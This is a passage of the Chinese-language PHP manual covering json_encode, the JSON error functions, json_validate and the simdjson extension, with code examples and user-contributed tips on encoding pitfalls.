由以下常量组成的二进制掩码： JSON_FORCE_OBJECT、 JSON_HEX_QUOT、 JSON_HEX_TAG、 JSON_HEX_AMP、 JSON_HEX_APOS、 JSON_INVALID_UTF8_IGNORE、 JSON_INVALID_UTF8_SUBSTITUTE、 JSON_NUMERIC_CHECK、 JSON_PARTIAL_OUTPUT_ON_ERROR、 JSON_PRESERVE_ZERO_FRACTION、 JSON_PRETTY_PRINT、 JSON_UNESCAPED_LINE_TERMINATORS、 JSON_UNESCAPED_SLASHES、 JSON_UNESCAPED_UNICODE、 JSON_THROW_ON_ERROR。 关于 JSON 常量详情参考 JSON 常量页面。

depth

设置最大深度。 必须大于0。

返回值

成功则返回 JSON 编码的 string 或者在失败时返回 false 。

更新日志

版本 | 说明
7.3.0 | flags 参数新增 JSON_THROW_ON_ERROR 常量。
7.2.0 | flags 参数新增 JSON_INVALID_UTF8_IGNORE 和 JSON_INVALID_UTF8_SUBSTITUTE 常量。
7.1.0 | flags 参数新增 JSON_UNESCAPED_LINE_TERMINATORS 常量。
7.1.0 | 对 float 值进行编码时，使用 serialize_precision 代替 precision。

示例

Example #1 json_encode() 例子

<?php
$arr = array ('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);

echo json_encode($arr);
?>

以上示例会输出：

{"a":1,"b":2,"c":3,"d":4,"e":5}

Example #2 json_encode() 函数中 flags 参数的用法

<?php
$a = array('<foo>',"'bar'",'"baz"','&blong&', "\xc3\xa9");

echo "Normal: ", json_encode($a), "\n";
echo "Tags: ", json_encode($a, JSON_HEX_TAG), "\n";
echo "Apos: ", json_encode($a, JSON_HEX_APOS), "\n";
echo "Quot: ", json_encode($a, JSON_HEX_QUOT), "\n";
echo "Amp: ", json_encode($a, JSON_HEX_AMP), "\n";
echo "Unicode: ", json_encode($a, JSON_UNESCAPED_UNICODE), "\n";
echo "All: ", json_encode($a, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE), "\n\n";

$b = array();

echo "Empty array output as array: ", json_encode($b), "\n";
echo "Empty array output as object: ", json_encode($b, JSON_FORCE_OBJECT), "\n\n";

$c = array(array(1,2,3));

echo "Non-associative array output as array: ", json_encode($c), "\n";
echo "Non-associative array output as object: ", json_encode($c, JSON_FORCE_OBJECT), "\n\n";

$d = array('foo' => 'bar', 'baz' => 'long');

echo "Associative array always output as object: ", json_encode($d), "\n";
echo "Associative array always output as object: ", json_encode($d, JSON_FORCE_OBJECT), "\n\n";
?>

以上示例会输出：

Normal: ["<foo>","'bar'","\"baz\"","&blong&","\u00e9"]
Tags: ["\u003Cfoo\u003E","'bar'","\"baz\"","&blong&","\u00e9"]
Apos: ["<foo>","\u0027bar\u0027","\"baz\"","&blong&","\u00e9"]
Quot: ["<foo>","'bar'","\u0022baz\u0022","&blong&","\u00e9"]
Amp: ["<foo>","'bar'","\"baz\"","\u0026blong\u0026","\u00e9"]
Unicode: ["<foo>","'bar'","\"baz\"","&blong&","é"]
All: ["\u003Cfoo\u003E","\u0027bar\u0027","\u0022baz\u0022","\u0026blong\u0026","é"]

Empty array output as array: []
Empty array output as object: {}

Non-associative array output as array: [[1,2,3]]
Non-associative array output as object: {"0":{"0":1,"1":2,"2":3}}

Associative array always output as object: {"foo":"bar","baz":"long"}
Associative array always output as object: {"foo":"bar","baz":"long"}

Example #3 选项 JSON_NUMERIC_CHECK 例子

<?php
echo "Strings representing numbers automatically turned into numbers".PHP_EOL;
$numbers = array('+123123', '-123123', '1.2e3', '0.00001');
var_dump(
$numbers,
json_encode($numbers, JSON_NUMERIC_CHECK)
);
echo "Strings containing improperly formatted numbers".PHP_EOL;
$strings = array('+a33123456789', 'a123');
var_dump(
$strings,
json_encode($strings, JSON_NUMERIC_CHECK)
);
?>

以上示例的输出类似于：

Strings representing numbers automatically turned into numbers
array(4) {
  [0]=>
  string(7) "+123123"
  [1]=>
  string(7) "-123123"
  [2]=>
  string(5) "1.2e3"
  [3]=>
  string(7) "0.00001"
}
string(28) "[123123,-123123,1200,1.0e-5]"
Strings containing improperly formatted numbers
array(2) {
  [0]=>
  string(13) "+a33123456789"
  [1]=>
  string(4) "a123"
}
string(24) "["+a33123456789","a123"]"

Example #4 连续与非连续数组示例

<?php
echo "连续数组".PHP_EOL;
$sequential = array("foo", "bar", "baz", "blong");
var_dump(
$sequential,
json_encode($sequential)
);

echo PHP_EOL."非连续数组".PHP_EOL;
$nonsequential = array(1=>"foo", 2=>"bar", 3=>"baz", 4=>"blong");
var_dump(
$nonsequential,
json_encode($nonsequential)
);

echo PHP_EOL."删除一个连续数组值的方式产生的非连续数组".PHP_EOL;
unset($sequential[1]);
var_dump(
$sequential,
json_encode($sequential)
);
?>

以上示例会输出：

连续数组
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(27) "["foo","bar","baz","blong"]"

非连续数组
array(4) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
  [4]=>
  string(5) "blong"
}
string(43) "{"1":"foo","2":"bar","3":"baz","4":"blong"}"

删除一个连续数组值的方式产生的非连续数组
array(3) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(33) "{"0":"foo","2":"baz","3":"blong"}"

Example #5 选项 JSON_PRESERVE_ZERO_FRACTION 的例子

<?php
var_dump(json_encode(12.0, JSON_PRESERVE_ZERO_FRACTION));
var_dump(json_encode(12.0));
?>

以上示例会输出：

string(4) "12.0"
string(2) "12"

注释

Note:

如果执行失败，可以通过 json_last_error() 函数来获取详细错误信息。

Note:

如果要编码的数组的键不是从0开始的数字，所有的键将会被当作字符串，并明确声明为 key-value 对。

Note:

参考 JSON 解析器，如果指定简单的 string、integer、float 或 boolean 作为输入 value，json_encode() 将生成简单的值的 JSON（既不是对象又不是数组）。虽然大多数解码器会接受这些值作为有效的 JSON，但有些可能不会，因为在这一点上规范是模棱两可的。

总而言之，应该测试下 JSON decoder 能否处理 json_encode() 生成的数据。

参见

  • JsonSerializable
  • json_decode() - 对 JSON 格式的字符串进行解码
  • json_last_error() - 返回最后发生的错误
  • serialize() - 生成值的可存储表示

User Contributed Notes

elliseproduction at gmail dot com 18-Oct-2022 01:31
Notice that JSON_FORCE_OBJECT will convert all non-associative arrays to objects. This is not necessarily a good solution for empty arrays.
If you want to convert only empty arrays to objects, simply convert them to empty object before use json_encode function.

For example:

<?php

$foo=array(
   'empty2object'=>(object)[],
   'empty2array'=>[],
);

echo json_encode($foo);  // {"empty2object":{},"empty2array":[]}

?>
Walter Tross 18-Nov-2015 10:02
If you need pretty-printed output, but want it indented by 2 spaces instead of 4:

$json_indented_by_4 = json_encode($output, JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
$json_indented_by_2 = preg_replace('/^(  +?)\\1(?=[^ ])/m', '$1', $json_indented_by_4);
guilhenfsu at gmail dot com 22-Apr-2013 08:35
Solution for UTF-8 Special Chars.

<?

$array = array('nome'=>'Pai??o','cidade'=>'S?o Paulo');

$array = array_map('htmlentities',$array);

//encode
$json = html_entity_decode(json_encode($array));

//Output: {"nome":"Pai??o","cidade":"S?o Paulo"}
echo $json;

?>
ck at ergovia dot de 28-Mar-2013 11:40
Attention when passing a plain array to json_encode and using JSON_FORCE_OBJECT. It figured out that the index-order of the resulting JSON-string depends on the system PHP is running on.

$a = array("a" , "b", "c");
echo json_encode($a, JSON_FORCE_OBJECT);

On Xampp (Windows) you get:

{"0":"a","1":"b","2":"c"}';

On a machine running debian I get:

{"2":"a","1":"b","0":"c"}';

Note that the key:value pairs are different!

Solution here was to use array_combine to create a ssociative array and then pass it to json_encode:

json_encode(array_combine(range(0, count($a) - 1), $a), JSON_FORCE_OBJECT);
bohwaz 23-Nov-2011 05:05
Are you sure you want to use JSON_NUMERIC_CHECK, really really sure?

Just watch this usecase:

<?php
// International phone number
json_encode(array('phone_number' => '+33123456789'), JSON_NUMERIC_CHECK);
?>

And then you get this JSON:

{"phone_number":33123456789}

Maybe it makes sense for PHP (as is_numeric('+33123456789') returns true), but really, casting it as an int?!

So be careful when using JSON_NUMERIC_CHECK, it may mess up with your data!
ryan at ryanparman dot com 27-Mar-2010 01:36
I came across the "bug" where running json_encode() over a SimpleXML object was ignoring the CDATA. I ran across http://bugs.php.net/42001 and http://bugs.php.net/41976, and while I agree with the poster that the documentation should clarify gotchas like this, I was able to figure out how to workaround it.

You need to convert the SimpleXML object back into an XML string, then re-import it back into SimpleXML using the LIBXML_NOCDATA option. Once you do this, then you can use json_encode() and still get back the CDATA.

<?php
// Pretend we already have a complex SimpleXML object stored in $xml
$json = json_encode(new SimpleXMLElement($xml->asXML(), LIBXML_NOCDATA));
?>
Istratov Vadim 09-Jun-2009 11:54
Be careful with floating values in some locales (e.g. russian) with comma (",") as decimal point. Code:

<?php
setlocale(LC_ALL, 'ru_RU.utf8');

$arr = array('element' => 12.34);
echo json_encode( $arr );
?>

Output will be:
--------------
{"element":12,34}
--------------

Which is NOT a valid JSON markup. You should convert floating point variable to strings or set locale to something like "LC_NUMERIC, 'en_US.utf8'" before using json_encode.
Sam Barnum 20-Apr-2009 11:01
Note that if you try to encode an array containing non-utf values, you'll get null values in the resulting JSON string.  You can batch-encode all the elements of an array with the array_map function:
<?php
$encodedArray = array_map(utf8_encode, $rawArray);
?>
Garrett 22-Oct-2008 11:17
A note about json_encode automatically quoting numbers:

It appears that the json_encode function pays attention to the data type of the value. Let me explain what we came across:

We have found that when retrieving data from our database, there are occasions when numbers appear as strings to json_encode which results in double quotes around the values.

This can lead to problems within javascript functions expecting the values to be numeric.

This was discovered when were were retrieving fields from the database which contained serialized arrays. After unserializing them and sending them through the json_encode function the numeric values in the original array were now being treated as strings and showing up with double quotes around them.

The fix: Prior to encoding the array, send it to a function which checks for numeric types and casts accordingly. Encoding from then on worked as expected.


返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息

  • ? json_encode
  • json_last_error ?
  • PHP Manual
  • JSON 函数
  • 返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息

json_last_error_msg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

json_last_error_msg — 返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息

说明

json_last_error_msg(): string

当没有设置 JSON_THROW_ON_ERROR 参数时，返回最后一次调用 json_encode() 或 json_decode() 产生的错误信息。

参数

此函数没有参数。

返回值

成功则返回错误信息，如果没有错误产生则返回 "No error" 。

参见

  • json_last_error() - 返回最后发生的错误

User Contributed Notes

Anonymous 03-Jun-2015 09:34
Here's an updated version of the function:

<?php
    if (!function_exists('json_last_error_msg')) {
        function json_last_error_msg() {
            static $ERRORS = array(
                JSON_ERROR_NONE => 'No error',
                JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
                JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
                JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
                JSON_ERROR_SYNTAX => 'Syntax error',
                JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
            );

            $error = json_last_error();
            return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
        }
    }
?>


返回最后发生的错误

  • ? json_last_error_msg
  • json_validate ?
  • PHP Manual
  • JSON 函数
  • 返回最后发生的错误

json_last_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

json_last_error — 返回最后发生的错误

说明

json_last_error(): int

没有指定 JSON_THROW_ON_ERROR时，返回上一次 JSON 编码解码时发生的最后一个错误（如果有）。

参数

此函数没有参数。

返回值

返回一个整型（integer），这个值会是以下的常量之一：

JSON 错误码
常量 | 含义 | 可用性
JSON_ERROR_NONE | 没有错误发生 |
JSON_ERROR_DEPTH | 到达了最大堆栈深度 |
JSON_ERROR_STATE_MISMATCH | 无效或异常的 JSON |
JSON_ERROR_CTRL_CHAR | 控制字符错误，可能是编码不对 |
JSON_ERROR_SYNTAX | 语法错误 |
JSON_ERROR_UTF8 | 异常的 UTF-8 字符，也许是因为不正确的编码。 |
JSON_ERROR_RECURSION | One or more recursive references in the value to be encoded |
JSON_ERROR_INF_OR_NAN | One or more NAN or INF values in the value to be encoded |
JSON_ERROR_UNSUPPORTED_TYPE | 指定的类型，值无法编码。 |
JSON_ERROR_INVALID_PROPERTY_NAME | 指定的属性名无法编码。 |
JSON_ERROR_UTF16 | 畸形的 UTF-16 字符，可能因为字符编码不正确。 |

示例

Example #1 json_last_error() 例子

<?php
// 一个有效的 json 字符串
$json[] = '{"Organization": "PHP Documentation Team"}';

// 一个无效的 json 字符串会导致一个语法错误，在这个例子里我们使用 ' 代替了 " 作为引号
$json[] = "{'Organization': 'PHP Documentation Team'}";

foreach ($json as $string) {
echo 'Decoding: ' . $string;
json_decode($string);

switch (json_last_error()) {
case JSON_ERROR_NONE:
echo ' - No errors';
break;
case JSON_ERROR_DEPTH:
echo ' - Maximum stack depth exceeded';
break;
case JSON_ERROR_STATE_MISMATCH:
echo ' - Underflow or the modes mismatch';
break;
case JSON_ERROR_CTRL_CHAR:
echo ' - Unexpected control character found';
break;
case JSON_ERROR_SYNTAX:
echo ' - Syntax error, malformed JSON';
break;
case JSON_ERROR_UTF8:
echo ' - Malformed UTF-8 characters, possibly incorrectly encoded';
break;
default:
echo ' - Unknown error';
break;
}

echo PHP_EOL;
}
?>

以上示例会输出：

Decoding: {"Organization": "PHP Documentation Team"} - No errors
Decoding: {'Organization': 'PHP Documentation Team'} - Syntax error, malformed JSON

Example #2 json_encode() 的 json_last_error()

<?php
// 无效的 UTF8 序列
$text = "\xB1\x31";

$json = json_encode($text);
$error = json_last_error();

var_dump($json, $error === JSON_ERROR_UTF8);
?>

以上示例会输出：

string(4) "null"
bool(true)

Example #3 json_last_error() 和 JSON_THROW_ON_ERROR

<?php
// 导致 JSON_ERROR_UTF8 的无效 UTF8 序列
json_encode("\xB1\x31");

// 以下不会导致 JSON 错误
json_encode('okay', JSON_THROW_ON_ERROR);

// 前者的 json_encode() 不会改变全局错误状态
var_dump(json_last_error() === JSON_ERROR_UTF8);
?>

以上示例会输出：

bool(true)

参见

  • json_last_error_msg() - 返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息
  • json_decode() - 对 JSON 格式的字符串进行解码
  • json_encode() - 对变量进行 JSON 编码

User Contributed Notes

wedge at atlanteans dot net 27-Mar-2018 02:15
here is a small updated version of utf8ize that has the following addition :
* It uses iconv instead of utf8_encode for potentially better result.
* It adds the support of objects variable
* It also update array key value (in a case I met I had to utf8ize the key as well as those were generated from a user input value)

Here is the code.

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                unset($d[$k]);
        $d[utf8ize($k)] = utf8ize($v);
            }
        } else if (is_object($d)) {
        $objVars = get_object_vars($d);
        foreach($objVars as $key => $value) {
        $d->$key = utf8ize($value);
        }
    } else if (is_string ($d)) {
            return iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($d));
        }
        return $d;
    }
?>
msxcms at bmforum dot com 16-Jun-2017 09:12
use this code with mb_convert_encoding, you can json_encode some corrupt UTF-8 chars

    function safe_json_encode($value, $options = 0, $depth = 512) {
        $encoded = json_encode($value, $options, $depth);
        if ($encoded === false && $value && json_last_error() == JSON_ERROR_UTF8) {
            $encoded = json_encode(utf8ize($value), $options, $depth);
        }
        return $encoded;
    }

    function utf8ize($mixed) {
        if (is_array($mixed)) {
            foreach ($mixed as $key => $value) {
                $mixed[$key] = utf8ize($value);
            }
        } elseif (is_string($mixed)) {
            return mb_convert_encoding($mixed, "UTF-8", "UTF-8");
        }
        return $mixed;
    }
George Dimitriadis 28-Sep-2016 08:27
Just adding this note since I had to code this for the actual values reference.

<?php

echo JSON_ERROR_NONE . ' JSON_ERROR_NONE' . '<br />';
echo JSON_ERROR_DEPTH . ' JSON_ERROR_DEPTH' . '<br />';
echo JSON_ERROR_STATE_MISMATCH . ' JSON_ERROR_STATE_MISMATCH' . '<br />';
echo JSON_ERROR_CTRL_CHAR . ' JSON_ERROR_CTRL_CHAR' . '<br />';
echo JSON_ERROR_SYNTAX . ' JSON_ERROR_SYNTAX' . '<br />';
echo JSON_ERROR_UTF8 . ' JSON_ERROR_UTF8' . '<br />';
echo JSON_ERROR_RECURSION . ' JSON_ERROR_RECURSION' . '<br />';
echo JSON_ERROR_INF_OR_NAN . ' JSON_ERROR_INF_OR_NAN' . '<br />';
echo JSON_ERROR_UNSUPPORTED_TYPE . ' JSON_ERROR_UNSUPPORTED_TYPE' . '<br />';

/*
The above outputs :
0 JSON_ERROR_NONE
1 JSON_ERROR_DEPTH
2 JSON_ERROR_STATE_MISMATCH
3 JSON_ERROR_CTRL_CHAR
4 JSON_ERROR_SYNTAX
5 JSON_ERROR_UTF8
6 JSON_ERROR_RECURSION
7 JSON_ERROR_INF_OR_NAN
8 JSON_ERROR_UNSUPPORTED_TYPE
*/

?>
hemono at gmail dot com 18-Oct-2015 03:02
when json_decode a empty string, PHP7 will trigger an Syntax error:
<?php
json_decode("");
var_dump(json_last_error(), json_last_error_msg());

// PHP 7
int(4)
string(12) "Syntax error"

//  PHP 5
int(0)
string(8) "No error"
praveenscience at gmail dot com 21-Oct-2014 03:17
I used this simple script, flicked from StackOverflow to escape from the function failing:

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                $d[$k] = utf8ize($v);
            }
        } else if (is_string ($d)) {
            return utf8_encode($d);
        }
        return $d;
    }
?>

Cheers,
Praveen Kumar!
williamprogphp at yahoo dot com dot br 30-Jan-2014 06:32
This is a quite simple and functional trick to validate JSON's strings.

<?php

    function json_validate($string) {
        if (is_string($string)) {
            @json_decode($string);
            return (json_last_error() === JSON_ERROR_NONE);
        }
        return false;
    }
    echo (json_validate('{"test": "valid JSON"}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'It's a JSON'
    echo (json_validate('{test: valid JSON}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to missing quotes
    echo (json_validate(array())  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to a non-string argument
?>

Cheers
jimmetry at gmail dot com 23-Nov-2011 09:16
While this can obviously change between versions, the current error codes are as follows:

0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX
5 = JSON_ERROR_UTF8

I'm only posting these for people who may be trying to understand why specific JSON files are not being decoded. Please do not hard-code these numbers into an error handler routine.


检查一个字符串是否包含有效的JSON

  • ? json_last_error
  • Simdjson ?
  • PHP Manual
  • JSON 函数
  • 检查一个字符串是否包含有效的JSON

json_validate

(PHP 8 >= 8.3.0)

json_validate — 检查一个字符串是否包含有效的JSON

说明

json_validate(string $json, int $depth = 512, int $flags = 0): bool

返回给定的 string 是否是语法上有效的 JSON。 如果 json_validate() 返回 true，json_decode() 在使用相同的 depth 和 flags 时，将成功解码给定的字符串。

如果 json_validate() 返回 false，原因可以使用 json_last_error() 和 json_last_error_msg() 获取。

如果解码后的 JSON 内容未被使用，json_validate() 相比于 json_decode() 使用了较少的内存，因为它不需要构建包含有效载荷的数组或对象结构。

Caution

在 json_decode() 之前调用 json_validate() 将不必要地解析字符串两次， 因为 json_decode() 在解码过程中隐式地执行验证。

json_validate() 只有在解码后的 JSON 内容不会立即使用，但需要知道字符串是否包含有效的 JSON 时才有用。

参数

json

需要验证的字符串。

该函数仅适用于 UTF-8 编码字符串。

Note:

PHP 实现了 JSON 的一个超集，参考 » RFC 7159.

depth

解码结构的最大嵌套深度。 该值必须大于 0、 且小于或等于 2147483647。

flags

当前只接受 JSON_INVALID_UTF8_IGNORE。

返回值

如果给定字符串是语法有效的 JSON，则返回 true，否则返回 false。

错误／异常

如果 depth 超出允许的范围，将抛出 ValueError。

示例

Example #1 json_validate() 示例

<?php
var_dump(json_validate('{ "test": { "foo": "bar" } }'));
var_dump(json_validate('{ "": "": "" } }'));
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • json_decode() - 对 JSON 格式的字符串进行解码
  • json_last_error() - 返回最后发生的错误
  • json_last_error_msg() - 返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息

User Contributed Notes

There are no user contributed notes for this page.


Simdjson

  • 简介
  • 安装/配置
    • 需求
    • 安装
  • 预定义常量
  • Simdjson 函数
    • simdjson_decode — Decodes a JSON string
    • simdjson_is_valid — Check if a JSON string is valid
    • simdjson_key_count — Returns the value at a JSON pointer.
    • simdjson_key_exists — Check if the JSON contains the value referred to by a JSON pointer.
    • simdjson_key_value — Decodes the value of a JSON string located at the requested JSON pointer.
  • SimdJsonException — The SimdJsonException class
  • SimdJsonValueError — The SimdJsonValueError class

User Contributed Notes

There are no user contributed notes for this page.


简介

Provides faster JSON decoding through simdjson bindings for PHP (Single Instruction, Multiple Data)

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/simdjson.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SIMDJSON_ERR_CAPACITY (int)
This parser can't support a document that big. Thrown when parsing a JSON string that is over 4GiB long.
SIMDJSON_ERR_TAPE_ERROR (int)
The JSON document has an improper structure: missing or superfluous commas, braces, missing keys, etc.
SIMDJSON_ERR_DEPTH_ERROR (int)
The JSON document was too deep (too many nested objects and arrays)
SIMDJSON_ERR_STRING_ERROR (int)
Problem while parsing a string
SIMDJSON_ERR_T_ATOM_ERROR (int)
Problem while parsing an atom starting with the letter 't'
SIMDJSON_ERR_F_ATOM_ERROR (int)
Problem while parsing an atom starting with the letter 'f'
SIMDJSON_ERR_N_ATOM_ERROR (int)
Problem while parsing an atom starting with the letter 'n'
SIMDJSON_ERR_NUMBER_ERROR (int)
Problem while parsing a number
SIMDJSON_ERR_UTF8_ERROR (int)
The input is not valid UTF-8
SIMDJSON_ERR_UNINITIALIZED (int)
The parser used by simdjson is uninitialized. Should not happen.
SIMDJSON_ERR_EMPTY (int)
Empty: no JSON found
SIMDJSON_ERR_UNESCAPED_CHARS (int)
Within strings, some characters must be escaped, we found unescaped characters
SIMDJSON_ERR_UNCLOSED_STRING (int)
A string is opened, but never closed.
SIMDJSON_ERR_UNSUPPORTED_ARCHITECTURE (int)
simdjson does not have an implementation supported by this CPU architecture (perhaps it's a non-SIMD CPU?).
SIMDJSON_ERR_INCORRECT_TYPE (int)
Should not happen.
SIMDJSON_ERR_NUMBER_OUT_OF_RANGE (int)
The JSON number is too large or too small to fit within the requested type. Note that the C simdjson library is a fork and this error is ignored to match php's handling of JSON numbers that are too large or too small.
SIMDJSON_ERR_INDEX_OUT_OF_BOUNDS (int)
Should not happen.
SIMDJSON_ERR_NO_SUCH_FIELD (int)
Should not happen.
SIMDJSON_ERR_IO_ERROR (int)
Should not happen.
SIMDJSON_ERR_INVALID_JSON_POINTER (int)
Invalid JSON pointer syntax in simdjson_key_value() and other functions accepting a JSON pointer $key.
SIMDJSON_ERR_INVALID_URI_FRAGMENT (int)
Invalid URI fragment syntax.
SIMDJSON_ERR_UNEXPECTED_ERROR (int)
Unexpected error, consider reporting this problem as you may have found a bug in the simdjson PECL
SIMDJSON_ERR_PARSER_IN_USE (int)
Should not happen.
SIMDJSON_ERR_OUT_OF_ORDER_ITERATION (int)
Should not happen.
SIMDJSON_ERR_INSUFFICIENT_PADDING (int)
Should not happen.
SIMDJSON_ERR_INCOMPLETE_ARRAY_OR_OBJECT (int)
JSON document ended early in the middle of an object or array.
SIMDJSON_ERR_SCALAR_DOCUMENT_AS_VALUE (int)
Should not happen.
SIMDJSON_ERR_OUT_OF_BOUNDS (int)
Attempted to access location outside of document.
SIMDJSON_ERR_TRAILING_CONTENT (int)
SIMDJSON_ERR_KEY_COUNT_NOT_COUNTABLE (int)
SIMDJSON_ERR_INVALID_PROPERTY (int)
Invalid property name for an stdClass when decoding a value with simdjson_decode() or simdjson_key_value()

User Contributed Notes

There are no user contributed notes for this page.


Simdjson 函数

Table of Contents

  • simdjson_decode — Decodes a JSON string
  • simdjson_is_valid — Check if a JSON string is valid
  • simdjson_key_count — Returns the value at a JSON pointer.
  • simdjson_key_exists — Check if the JSON contains the value referred to by a JSON pointer.
  • simdjson_key_value — Decodes the value of a JSON string located at the requested JSON pointer.

User Contributed Notes

There are no user contributed notes for this page.


Decodes a JSON string

  • ? Simdjson 函数
  • simdjson_is_valid ?
  • PHP Manual
  • Simdjson 函数
  • Decodes a JSON string

simdjson_decode

(PECL simdjson >= 2.0.0)

simdjson_decode — Decodes a JSON string

说明

simdjson_decode(string $json, bool $associative = false, int $depth = 512): mixed

Takes a JSON encoded string and converts it into a PHP value. This uses a faster Simultaneous Instruction, Multiple Data implementation than json_decode() when it is supported by the computer architecture.

参数

json

The json string being decoded.

This function only works with UTF-8 encoded strings.

This function parses valid inputs which json_decode() can decode, provided that they are less than 4 GiB long.

associative

When true, JSON objects will be returned as associative arrays; when false, JSON objects will be returned as objects.

depth

Maximum nesting depth of the structure being decoded. The value must be greater than 0, and less than or equal to 2147483647. Callers should use reasonably small values, because larger depths require more buffer space and will increase the recursion depth, unlike the current json_decode() implementation.

返回值

Returns the value encoded in json in appropriate PHP type. Values true, false and null are returned as true, false and null respectively.

错误／异常

If json is invalid, a SimdJsonException is thrown as of PECL simdjson 2.1.0, while previously, a RuntimeException was thrown.

If depth is outside the allowed range, a SimdJsonValueError is thrown as of PECL simdjson 3.0.0, while previously, an error of level E_WARNING was raised.

示例

Example #1 simdjson_decode() examples

<?php
$json = '{"a":1,"b":2,"c":3}';

var_dump(simdjson_decode($json));
var_dump(simdjson_decode($json, true));

?>

以上示例会输出：

object(stdClass)#1 (3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}
array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}

Example #2 Accessing invalid object properties

Accessing elements within an object that contain characters not permitted under PHP's naming convention (e.g. the hyphen) can be accomplished by encapsulating the element name within braces and the apostrophe.

<?php

$json = '{"foo-bar": 12345}';

$obj = simdjson_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

Example #3 common mistakes using simdjson_decode()

<?php

// the following strings are valid JavaScript but not valid JSON

// the name and value must be enclosed in double quotes
// single quotes are not valid
$bad_json = "{ 'bar': 'baz' }";
simdjson_decode($bad_json); // Throws SimdJsonException

// the name must be enclosed in double quotes
$bad_json = '{ bar: "baz" }';
simdjson_decode($bad_json); // Throws SimdJsonException

// trailing commas are not allowed
$bad_json = '{ bar: "baz", }';
simdjson_decode($bad_json); // Throws SimdJsonException

?>

Example #4 depth errors

<?php
// Encode some data with a maximum depth of 4
// (array -> array -> array -> string)
$json = json_encode(
[
1 => [
'English' => [
'One',
'January'
],
'French' => [
'Une',
'Janvier'
]
]
]
);

// Show the errors for different depths.
var_dump(simdjson_decode($json, true, 4));
try {
var_dump(simdjson_decode($json, true, 3));
} catch (SimdJsonException $e) {
echo "Caught: ", $e->getMessage(), "\n";
}
?>

以上示例会输出：

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Caught: The JSON document was too deep (too many nested objects and arrays)

Example #5 simdjson_decode() of large integers

<?php
$json = '{"number": 12345678901234567890}';

var_dump(simdjson_decode($json));

?>

以上示例会输出：

object(stdClass)#1 (1) {
  ["number"]=>
  float(1.2345678901235E+19)
}

注释

Note:

The JSON spec is not JavaScript, but a subset of JavaScript.

Note:

In the event of a failure to decode, a SimdJsonException is thrown and SimdJsonException::getCode() and SimdJsonException::getMessage() can be used to determine the exact nature of the error.

参见

  • json_encode() - 对变量进行 JSON 编码
  • json_decode() - 对 JSON 格式的字符串进行解码

User Contributed Notes

There are no user contributed notes for this page.


Check if a JSON string is valid

  • ? simdjson_decode
  • simdjson_key_count ?
  • PHP Manual
  • Simdjson 函数
  • Check if a JSON string is valid

simdjson_is_valid

(PECL simdjson >= 2.0.0)

simdjson_is_valid — Check if a JSON string is valid

说明

simdjson_is_valid(string $json = false, int $depth = 512): bool

Takes a JSON encoded string and returns true if it is valid.

参数

json

The json string being validated.

This function only works with UTF-8 encoded strings.

This function validates inputs which json_decode() can decode, provided that they are less than 4 GiB long.

depth

Maximum nesting depth of the structure being validated. The value must be greater than 0, and less than or equal to 2147483647. Callers should use reasonably small values, because larger depths require more buffer space and will increase the recursion depth, unlike the current json_decode() implementation.

返回值

Returns true if json is a valid JSON string, false otherwise.

错误／异常

If json is longer than 4 GiB, a SimdJsonException is thrown as of PECL simdjson 2.1.0, while previously, a RuntimeException was thrown.

If depth is outside the allowed range, a SimdJsonValueError is thrown as of PECL simdjson 3.0.0, while previously, an error of level E_WARNING was raised.

示例

Example #1 simdjson_decode() examples

<?php
$json = '{"a":1,"b":2,"c":3}';
$invalidJson = '{"a":1,"b":2,"c":';

var_dump(simdjson_is_valid($json));
var_dump(simdjson_is_valid($invalidJson));

?>

以上示例会输出：

bool(true)
bool(false)

Example #2 depth errors

<?php
// Encode some data with a maximum depth of 4
